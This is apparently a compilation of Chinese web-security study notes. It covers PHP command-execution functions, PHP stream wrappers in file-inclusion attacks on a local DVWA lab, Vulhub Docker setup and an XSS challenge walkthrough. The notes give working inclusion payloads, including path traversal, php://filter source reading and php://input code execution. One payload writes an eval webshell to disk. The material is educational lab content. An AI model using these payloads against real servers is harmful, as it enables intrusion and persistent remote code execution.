2020年3月

命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者 bash 命令)的一种注入攻击手段。

常见的执行系统命令的函数有 以下几种

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

system()函数

string system ( string $command [, int &$return_var ] )

$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

system()函数执行有回显,将执行结果输出到页面上

<?php
	system("whoami");
?>

passthru()函数

void passthru ( string $command [, int &$return_var ] )

system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

执行有回显,将执行结果输出到页面上

<?php
	passthru("whoami");
?>

exec()函数

string exec ( string $command [, array &$output [, int &$return_var ]] )

$command是要执行的命令

$output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)

exec()函数执行无回显,默认返回最后一行结果

<?php
	echo exec("whoami");
?>

<?php  
$test = "ipconfig";   
exec($test,$array);      
print_r($array);  
?>

shell_exec()函数

string shell_exec( string &command)

&command是要执行的命令

shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

<?php
	echo shell_exec("whoami");
?>

反引号 ` 

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php
	echo `whoami`;
?>

popen()函数

resource popen ( string $command , string $mode )

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。

返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。

此指针可以用于fgets(),fgetss()和 fwrite()

<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>


<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  //popen打一个进程通道  
  
while (!feof($fp)) {      //从通道里面取得东西  
 $out = fgets($fp, 4096);  
 echo  $out;         //打印出来  
}  
pclose($fp);  
?> 

proc_open()函数

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)

Popen函数类似,但是可以提供双向管道

<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?> 

pcntl_exec()函数

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。

pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

对这些危险函数,可以在php.ini中禁用,进行安全加固

文章出处

file:// 协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

说明
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。

用法

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例

1. file://[文件的绝对路径和文件名]

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=file://C:\info.txt

2. [文件的相对路径和文件名]

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=../../../../../../info.txt

3. [http://网络路径和文件名] ,也就是远程包含

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=http://127.0.0.1/info.jpg

php:// 协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

作用
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

说明
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

协议作用
php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter参数详解

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表(4类)

字符串过滤器作用
string.rot13等同于str_rot13(),rot13变换
string.toupper等同于strtoupper(),转大写字母
string.tolower等同于strtolower(),转小写字母
string.strip_tags等同于strip_tags(),去除html、PHP语言标签

转换过滤器作用
convert.base64-encode & convert.base64-decode等同于base64_encode()和base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码

压缩过滤器作用
zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。

加密过滤器作用
mcrypt.*libmcrypt 对称加密算法
mdecrypt.*libmcrypt 对称解密算法

示例

1.php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

去base64解码后即可得到指定php文件的内容

2.php://input + [POST DATA]执行php代码

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=php://input
[POST DATA部分]
<?php phpinfo(); ?>

3. 若有写入权限,写入一句话木马

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_POST['xss'])?>");?>

zip:// & bzip2:// & zlib:// 协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

示例

  1. zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=zip://c:/info.zip%23info.php

2.compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data:// 协议

条件

  • allow_url_fopen:on
  • allow_url_include :on

作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法

data://text/plain,
data://text/plain;base64,

示例

1.data://text/plain,

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=data:text/plain,%3C?php%20phpinfo();?%3E;?>

2.data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

http:// & https:// 协议

条件

  • allow_url_fopen:on
  • allow_url_include :on

作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

用法

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

示例

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术

因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。seebug - 利用 phar 拓展 php 反序列化漏洞攻击面




文章出处

0x00.前言:Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

vulhub官网: https://vulhub.org/

官方的搭建说明: https://asciinema.org/a/ixkEitnLpLhg3QtOfPlnHn940?rows=40

0x01.学习web安全的估计手里都有kali_linux,那么我下面就使用kali作为服务器安装vulhub所需要的环境,也就是docker

1.apt安装docker和docker-compose控制器,如果提示找不到软件包的可以先执行 apt-get update更新下源信息,推荐使用阿里源或者中科大的,下载速度快

root@kali#: apt-get install docker docker-compose -y

2.查看docker版本,显示出信息就是安装成功了

root@kali:# docker version

3.docker设置国内镜像源

root@kali:# vi /etc/docker/daemon.json
添加以下代码:
{
  "registry-mirrors": ["https://pee6w651.mirror.aliyuncs.com"]
}
保存退出

4.启动docker

root@kali:# service docker start

0x02.把vulhub环境文件下载到本地,可能会有点慢,因为文件在github上下载太慢了, 所以我把文件上传到了百度云,同学们自行下载然后拖进虚拟机内

百度云链接 提取码:fh3x

双击进入压缩包解压,然后改名为vulhub

0x03.环境介绍

vulhub里面是按照文件夹的方式分类漏洞,都是一些web框架 CMS 中间件之类的存在的漏洞

比如我进入 thinkphp这个文件夹,发现下面又有4个文件夹,前三个是rce远程代码执行漏洞,后面那个是sql注入漏洞

然后我又进入 5-rce这个文件夹,里面有一个docker-compos文件,我们通过使用docker-compose可以实现一键打开漏洞环境,readme是漏洞说明

0x04.把漏洞docker环境下载到本地进行复现

这里我就随便选一个漏洞进行环境部署

root@kali: ~/vubhub/thinkphp/5-rce# docker-compose up -d

这样就开始从镜像库把镜像拉到本地,等待完成即可

提示完成,做到这里其实我们的环境不仅已经下载完成,而且还启动了

使用 docker ps 可以查看当前正在运行的镜像,可以看到镜像的80端口映射给了宿主机的8080端口,也就是我们kali的8080端口

直接访问就进入了漏洞服务

关于漏洞利用在readme里面有,但是不是很详细

做实验时如果想进入docker镜像的里面瞧瞧,可以使用以下命令:

root@kali: ~/vubhub/thinkphp/5-rce# docekr exec -it [镜像的进程id] /bin/bash

如上图操作,就得到了一个shell,退出docker镜像shell的命令是:

root@5cf9507886c2:/var/www/public# exit

0x05.实验环境关闭

关闭docker镜像:

root@kali: ~/vubhub/thinkphp/5-rce# docker-compose down 

0x06:大概就是这样,其他更多的操作需要同学们去摸索

1.跟前两关一样使用空格尝试隔开参数,结果失败

查看后端源码后才知道是对拼接进行了改写,提交的参数无法跳出src

2. 27个英文字母都不认的齐的我去翻译了下主界面的单词意思

说什么未定义不兼容,对于 .swf文件不熟悉的我去查了下这种格式是怎么回事

swf文件百度百科信息,反正就是看的不太明白

3.然后得知这玩意是可以反编译的,于是从网上下载了相关的反编译工具 JPEXS,从服务器找到 xsf03.swf这个文件,直接拖入反编译程序中。

然后在文件的脚本那里找到了出错的sIFR,点击打开后发现了我们页面显示的报错信息,是赋值给了 "VERSION_WARNING"这个变量,中文意思就是“版本警告”,难不成说什么不兼容是版本问题?

使用查找功能查找一下 VERSION_WARNING 变量在哪应用了,

这里先把VERSION.WARNING以%s打散成数组,然后再以version的方式组合成字符串。搜索了一圈,并没有version,哎,对flash太不熟悉了,只通过p-code发现了这样的一个东西

4.回到我们的level 19,url中同样是get了两个参数,并且拼接到了 src里面

在新标签页中打开,这url怎么有点眼熟,像是我们之前一直做的php传进参数

难不成swf文件也能传入参数?带着这个疑问我去百度了下,还真的可以

这一下就有思路了,前面的提示信息不是说什么未定义不兼容吗,然后逆向追踪到了输出信息version,难不成是version没有定义?那我们就给它定义一个version

xsf03.swf?version=1

提交后发现提示内容发生了改变,“undefined”变成了“1”,也就是我们定义的version

5.回到 level19提交也一样

那既然有回显信息,我们可以构造一个标签看能不能插进去

可以看到有了效果

点击后可以触发JavaScript命令

至于这种xss的具体原理我也不懂,感兴趣的同学可以自行去翻阅资料

这题跟上一题一摸一样,连源码都一样,就插入的那个文件不一样而已

都是添加事件属性触发javascript伪协议